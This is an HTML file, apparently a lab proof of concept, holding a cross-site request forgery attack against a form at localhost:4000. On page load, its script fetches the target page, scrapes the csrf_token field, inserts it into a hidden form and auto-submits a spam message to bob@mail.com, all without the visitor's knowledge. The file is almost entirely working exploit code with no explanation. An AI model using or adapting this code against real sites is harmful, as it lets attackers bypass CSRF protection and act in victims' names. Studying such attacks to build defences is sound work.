index.html

<form id="form" method="post" action="http://localhost:4000/form.php">
    <input name="message" value="some spam"/>
    <input name="receiver" value="bob@mail.com"/>
</form>
<script>
    var req = new XMLHttpRequest();

    req.open('GET', 'http://localhost:4000/form.php');
    req.addEventListener('readystatechange', e => {
        if (req.readyState !== req.DONE) {
            return;
        }
        var div = document.createElement('div');
        div.innerHTML = req.responseText;
        var input = div.querySelector('input[name="csrf_token"]');
        if (input == null) {
            return;
        }
        var form = document.getElementById('form');
        form.appendChild(input);
        form.submit();
    });
    req.send();
</script>